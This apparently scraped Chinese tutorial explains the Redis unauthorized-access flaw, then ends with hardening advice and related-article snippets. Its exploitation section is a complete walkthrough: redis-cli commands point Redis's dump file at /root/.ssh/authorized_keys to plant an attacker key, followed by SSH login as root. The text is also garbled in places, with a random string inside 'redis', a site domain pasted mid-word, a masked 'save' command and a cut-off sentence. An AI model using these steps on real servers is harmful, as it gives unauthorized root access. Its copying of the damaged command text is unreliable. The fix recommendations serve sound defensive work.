關於Redis未授權訪問漏洞利用的介紹與修復建議

2022-09-26 12:54:23 字數 3390 閱讀 4749

前言

一、漏洞介紹

redis 預設情況下,會繫結在 0.0.0.0:6379,這樣將會將 redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 redis 以及讀取 redis 的資料。攻擊者在未授權訪問 redis 的情況下可以利用 redis 的相關方法,可以成功在 redis 伺服器上寫入公鑰,進而可以使用對應私鑰直接登入目標伺服器。

漏洞描述

部分 redis 繫結在 0.0.0.0:6379,並且沒有開啟認證(這是redis 的預設配置),如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任** ip 訪問等,將會導致 redis 服務直接暴露在公網上,導致其他使用者可以直接在非授權情況下直接訪問redis服務並進行相關操作。

利用 redis 自身的提供的 config 命令,可以進行寫檔案操作,攻擊者可以成功將自己的公鑰寫入目標伺服器的 /root/.ssh 資料夾的authotrized_keys 檔案中,進而可以直接使用對應的私鑰登入目標伺服器。

二、漏洞利用

首先在本地生產公私鑰檔案:

$ ssh-keygen –t rsa

然後將公鑰寫入 foo.txt 檔案

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

連線 redjckcnwvnis 寫入檔案

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

$ -h 192.168.1.11

$ 192.168.1.11:6379> config set dir /root/.ssh/

ok$ 192.168.1.11:6379> config get dir

1) "dir"

2) "/root/.ssh"

$ 192.168.1.11:6379> config set dbfilename "authorized_keys"

ok$ 192.168.1.11:6379> s**e

ok這裡講解下,這裡設定了crackit的鍵值為公鑰,並通過redis命令變更redis db 檔案及存放地點為預設root使用者ssh key存放檔案,並將鍵值重定向追加到遠端檔案authorized_keys的末尾,也就上傳了公鑰。

這樣就可以成功的將自己的公鑰寫入 /root/.ssh 資料夾的 authotrized_keys 檔案裡,然後攻擊者直接執行:

$ ssh –i id_rsa [email protected]

可遠端利用自己的私鑰登入該伺服器。

剛剛我們提到公鑰登入和redis持久化存放資料操作,這裡簡單講下原理

詳細講解ssh登入–公鑰登入

ssh提供了公鑰登入,可以省去輸入密碼的步驟。

所謂"公鑰登入",原理很簡單,就是使用者將自己的公鑰儲存在遠端主機上。登入的時候,遠端主機會向使用者傳送一段隨機字串,使用者用自己的私鑰加密後,再發回來。遠端主機用事先儲存的公鑰進行解密,如果成功,就證明使用者是可信的,直接允許登入shell,不再要求密碼。

這種方法要求使用者必須提供自己的公鑰。如果沒有現成的,可以直接用ssh-keygen生成乙個:

$ ssh-keygen

執行上面的命令以後,系統會出現一系列提示,可以一路回車。其中有乙個問題是,要不要對私鑰設定口令(passphr如果擔心私鑰的安全,這裡可以設定乙個。

執行結束以後,在$home/.ssh/目錄下,會新生成兩個檔案:id_rsa.pub和id_rsa。前者是你的公鑰,後者是你的私鑰。

通常這時再輸入下面的命令,將公鑰傳送到遠端主機host上面:

$ ssh-copy-id user@host

authorized_keys檔案,遠端主機將使用者的公鑰,儲存在登入後的使用者主目錄的$home/.ssh/authorized_keys檔案中。公鑰就是一段字串,只要把它追加在authorized_keys檔案的末尾就行了。

詳細相關的redis持久化命令

redis支援2種持久化策略:snapshot方式和commandlog方式,前者通過將當前記憶體資料快照週期性寫入rdb檔案來實現;後者通過在log中記錄redis程序收到的寫操作來實現,下次redis重啟時,回放commandlog來恢復資料狀態。

這裡使用rdb檔案寫入ssh key檔案,需要設定以下兩個rdb相關配置

dbfilename

指定rdb檔名,預設為dump.rdb

dir指定rdb檔案存放目錄的路徑,若包含多級路徑,則相關父路徑需事先mkdir出來,否則啟動失敗。

set(key, value):給資料庫中名稱為key的string賦予值value

最後client使用s**e命令通知redis做一次快照持久化

修復建議/安全建議

1.禁止一些高危命令

修改 redis.conf 檔案,新增

rename-command flushall ""

rename-command config ""

rename-command eval ""

來禁用遠www.cppcns.com程修改 db 檔案位址

2.以低許可權執行 redis 服務

為 redis 服務建立單獨的使用者和家目錄,並且配置禁止登陸

$ groupadd -r redis && useradd -r -g redis redis

3.為 redis 新增密碼驗證

修改 redis.conf 檔案,新增

requirepass mypassword

4.禁止外網訪問 redis

修改 redis.conf 檔案,新增或修改,使得 redis 服務只在當前主機可用

bind 127.0.0.1

5.保證 authorized_keys 檔案的安全

為了保證安全,您應該阻止其他使用者新增新的公鑰。

將 authorized_keys 的許可權設定為對擁有者唯讀,其他使用者沒有任何許可權:

$ chmod 400 ~/.ssh/authorized_keys

為保證 authorized_keys 的許可權不會被改掉,您還需要設定該檔案的 immutable 位許可權:

# chattr +i ~/.ssh/authorized_keys

然而,使用者還可以重新命名 ~/.ssh,然後新建新的 ~/.ssh 目錄和 authorized_keys 檔案。要避免這種情況,需要設定 ~./ssh 的 immutable 位許可權:

# chattr +i ~/.ssh

注意: 如果需要新增新的公鑰,需要移除 authorized_keys 的 immutable 位許可權。然後,新增好新的公鑰之後,按照上述步驟重新加上 immutable 位許可權。

總結本文標題: 關於redis未授權訪問漏洞利用的介紹與修復建議

本文位址: /shujuku/redis/196746.html

關於Redis未授權訪問漏洞修復

漏洞概述 redis 預設情況下,會繫結在 0.0.0.0 6379,導致redis服務暴露到公網上。如果在沒有開啟認證並且在任意使用者可以訪問目標伺服器的情況下,從而可以未授權訪問redis服務,進一步可進行資料增刪改查,甚至獲取伺服器許可權等惡意操作。風險等級 高風險 漏洞風險 主機被遠端控制,...

Redis未授權訪問漏洞

一 漏洞描述和危害 redis因配置不當可以未授權訪問,被攻擊者惡意利用。攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料。攻擊者可通過eval執行lua 或通過資料備份功能往磁碟寫入後門檔案。如果redis以root身份執行,黑客可以給root賬...

Redis未授權訪問漏洞

一 漏洞描述和危害 redis因配置不當可以未授權訪問,被攻擊者惡意利用。攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料。攻擊者可通過eval執行lua 或通過資料備份功能往磁碟寫入後門檔案,如果redis以root身份執行,黑客可以給root賬...